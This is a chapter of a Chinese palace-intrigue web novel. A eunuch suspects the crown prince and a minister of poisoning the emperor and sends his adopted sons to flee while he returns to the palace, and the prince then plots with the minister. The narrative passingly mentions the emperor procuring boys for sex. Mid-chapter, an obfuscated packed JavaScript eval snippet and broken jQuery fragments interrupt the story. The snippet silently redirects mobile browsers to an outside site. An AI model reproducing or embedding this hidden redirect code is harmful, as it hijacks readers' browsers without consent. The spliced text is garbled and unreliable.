21. 第 21 章

作品:《阉竖

    柳思恩久居京城,一下就反应过来干爹口中‘皇上身体亏空’是什么意思。


    皇上只封了一个皇后一个贵妃,并非因为克制,而是他好龙阳。


    他虽是万乘之尊,却也受制于祖宗家法,不能随心所欲,留了个柳容在身边,就已经惹的物议沸腾,这让他如何甘心。


    早年间,他也可称得上是位贤德君主,勤政为民,这几年却愈发地肆无忌惮了起来。


    他不是偷偷溜出宫去寻欢作乐,就是授意伺候他的太监从宫外找来娈童供他玩乐,这一点内阁诸人和柳容都很清楚。


    皇上对干爹是有情,但却没有情深到为他放弃那些声色犬马和肉/体欢愉。


    再后来,皇上又迷信起了道术,完全拒绝柳容的规劝。白文周正是看准了这一点,向他进献道士,自此每日丹药不断。


    “那个妖道抓起来了吗?”柳思恩有些气愤,“这是谋杀,他哪来的胆子?”


    柳容本不欲多说,但想着今夜可能是父子间的最后一夜,干脆将自己的猜想说了出来:


    “可能是太子等不及了……有次皇上问二殿下想不想坐龙椅,二殿下说想,皇上就起身让二殿下坐了。”


    “你们想想,太子知道这事儿后会怎么样?”


    柳思恩想起太子那副时而和善时而阴鸷的面容,几乎瞬间就认同了干爹的猜想。


    太子从小就是个有野心的人,旁人不知道,柳思恩却是清楚的,他才十来岁的时候就知道在大臣面前表现才能。


    太子曾一度与他交好,后来渐渐大了,对柳思恩生出别样的心思,柳思恩才慢慢疏离他。


    柳思恩恍然大悟一般:


    “那白文周也是太子的人?皇上在太子巡抚浙江时驾崩的话,就没人会怀疑与太子有关。”


    “即便以后事发,向皇上献道士的白文周已经大权在握,太子上位后也会护住他。”


    柳容沉重地点点头,继续说:“太子和李宏,白文周等人早就结党,只等皇上一走,这天下便是他们的了。”


    几人都明白,没有皇上的照拂,那些早就对他们怀恨在心的人怕是会把他们生吞活剥了。


    即便太子对柳思恩心有眷恋,但绝不会在这种关头与天下人为敌;白文周更不消说,为了权势说不定会拿他们开刀,以讨天下士林的好。


    一种前所未有的危机感萦绕在几人心头,都开始沉默起来。


    正在这时,门子来报,说皇上召见柳容。


    现在的情况微妙,到底是不是皇上醒来了想召见他,还是别的什么人假传圣旨。


    柳容让他们稍等,说要换身衣服,然后便关上了大门。


    柳思恩当机立断道:“不能去,我们现在要想办法离开京城。”


    “现在逃走或许还来得及”,柳七开口说:“干爹,思恩,我在京城也还有些门路,走水路没人会发现咱们。”


    柳思恩看向柳容,见他面色发白,神思不属,沉吟问道:“干爹,走吗?”


    柳容摇了摇头,语气笃定道:“干爹这一辈子,是走不出这紫禁城的。”


    柳思恩想,干爹这是放不下皇上,可是等皇上龙驭宾天,那些人怎么还容得下干爹?


    有些话以前柳思恩不敢说,现在却是顾不得那么多了。


    “干爹,不值得!”


    柳容和柳七听此都望向柳思恩,脸上都带着一丝错愕。


    “皇上不值得干爹付出至此,这么多年的骂名,这么多年的轻贱,干爹您真的甘心吗?”


    “明明是他要跟您好,他又要皇位又要您,他娶妻生子,眠花宿柳,却连您有一两个江湖朋友都不许有。”


    陵丰九年,柳容出宫见了一个宫外的朋友,把酒言欢,彻夜未归。


    皇上第二天便以他懈怠公事为由将他入狱,甚至牵连了柳府的大管家一同入狱。


    年幼的柳思恩无人照看,深夜饿急了摸到小厨房找东西吃,却从灶台上摔了下来,满头是血。


    后来皇上气消,亲自到狱中去看柳容。


    当时柳容已经被动过刑,两双手被钉像十只血棍,年轻气盛的他不肯低头承认错误。


    皇上还是将他放了出来,却断掉了他所有收入来源,裁撤掉所有奴仆。


    这个位高权重的大珰顿时跌落神坛,拖着受伤的身体将能典当的东西都当了,换回一些米面,亲自生火做饭。


    柳思恩记得当时干爹握不住火石,还是他搭了把手。


    如此僵持两个月,皇上最后受不了又跑来求和。


    很多很多事,柳思恩都记得,但从不干涉干爹的决定,此时已经是生死存亡的关头,他绝不希望干爹作出抱憾终身的决定。


    柳容无奈地笑着摇了摇头,语气温和态度却十分坚决:


    “干爹这辈子,是福是祸都这样了,你们还能有你们的造化,别跟着我受苦了。”


    “我给你们写个条子,以后若是有什么困难,可以去找他。”


    柳容说完援笔伸纸,写下一个名字和一个地址,让柳思恩和柳七记住,然后拿去烛台边烧了。


    柳七还想再劝劝柳容跟他们一起走,柳思恩却拉住了他,用眼神示意他无需多言。


    柳思恩跑回卧室,看着熟悉的陈设,悲从中来。他从柜子里随意拿起一个包袱,又把秦羽贿赂他的那二十万两银票塞了进去。


    几人再次在堂房聚在一起时,已经子时。


    柳容换了一身衣裳,身形显得佝偻了一些:


    “我还要去宫里守着皇上,你们……你们也大了,万事要相互照应,以后干爹不能再护着你们,你们一定要保重自身。”


    柳思恩和柳七都眼含泪水,跪下磕头拜别。


    “儿子不孝,这种关头却要抛下干爹苟且偷生。”


    柳七万万想不到此次进京竟然遇上这样的事儿,他本身就厌倦宫里的明争暗斗才躲出宫去,此次却后悔没有呆在宫里,说不定还能挽救一二。


    “只是将来,儿等该如何自处,干爹您就随我们一道吧!”


    柳容道:“此言差矣,难倒非要我柳氏一门全都鸡飞蛋打才算有情有义?你们要好好地活着,就当是替我活着。”


    “我从前门走,你们从后门走,快去吧。”


    柳思恩眼中闪过一丝微光,躬身道:“如果有一线生机,请干爹念在两个儿子的份上,千万要活下来。”


    柳容面露笑意:“干爹知道,若有来日,我们便在灵台寺再见面。”


    灵台寺便是刚刚柳容在纸笺上写的地址。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14691980|156963||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看着两个干儿子的身影从后门消失,他才踏入前门早就候着的轿子。


    这条进宫的路他走过无数遍,他挑开帘子向外看去,除了稀稀落落的宫灯尽是一片黢黑。


    柳容侧回身子闭目养神,在晃晃悠悠的轿厢里一动不动。


    “咳咳,咳咳……”


    快要进入宫门的时候,他剧烈地咳嗽了起来,他连忙用手袱儿捂住嘴巴。


    待咳声稍稍止住,他看了一眼手袱儿,全是发黑的鲜血,跟皇上昨日吐出的血倒是很像。


    *


    东宫


    这一夜注定不太平静,原该阖宫上下歇息的时刻,许多人却睡不着。


    太子李琦玉在浙江任上听到耳报神传来皇上病危的消息时,并不是特别意外。


    他星夜疾驰偷偷赶回京城,此刻将将卸下一身风尘仆仆。他吃过太子妃让人煨好的莲子羹后便招来幕僚商议对策。


    在外人眼中清风朗月的太子殿下早已经跟雷厉风行的次辅白文周结成同盟。


    太子看中白文周的才干,白文周则等着太子登基后自己能借势干一番事业。


    两人一见面就显得格外亲切,太子直接让他免礼,又拉着他坐在自己身旁。


    白文周言简意赅地将宫中形势大致说了,李琦玉听着跟他打探的情况一般无二,确认白文周可以信任,放心了些。


    他开口问道:“皇上昏迷的事情钱阁老知道吗?”


    白文周禀道:“柳容防得紧,李宏昨天才把消息递出来。钱阁老虽是干练之臣,但毕竟年级大了不经事,只缓缓地说了点。”


    李琦玉知道白文周是担心钱凌云会不知轻重坏了事儿,对这一点没有疑问,但说道柳容他有有些生气。


    当初费了牛大的劲儿才推了个李宏去皇上面前,本指望他能打探圣意,哪知他竟像个草包架子,处处伺候得不得圣心,屡屡被斥。


    事到如今,皇上依旧只信任柳容,大凡小事都与柳容商量。


    那些下面办事儿的宫人甚至朝臣哪个不是火眼金睛,看这情形,又继续将柳容奉为老祖宗。


    李琦玉起身,带着愠色道:“柳容失权这么久,竟然还把持着父皇。”


    白文周知道他对李宏不满,遂说:“也不怪李宏不得力,毕竟皇上跟柳容多年感情。”


    李琦玉嗤笑道:“多年感情……说得像父皇有多深情一样。要是把大内藏着的那些娈童搜罗出来,怕是也能开个三宫六院了。”


    这直言犯上的话白文周也不敢应和,但李琦玉敢当着他的面说这些话,说明已经将他视为心腹,便也感觉到心下稍安。


    毕竟他做的那些事儿,若真要上纲上线,也是九族不保之祸。


    两人谈了会儿,李琦玉便有些坐不住,背着手在白文周面前走来走去。


    “我想要去看看父皇。”


    白文周立马反对:“不行,你以什么理由去?现在皇上以为你还在浙江。”


    李琦玉道:“难道我们就此等待吗?若父皇转醒留下遗诏公之于众,我等岂不是白辛苦一遭。”


    白文周思忖着,盯着李琦玉白净的脸颊悠悠道:“那太子殿下你要下定决心才好。”


    李琦玉咬牙道:“还需要什么决心,开弓没有回头箭,走吧。”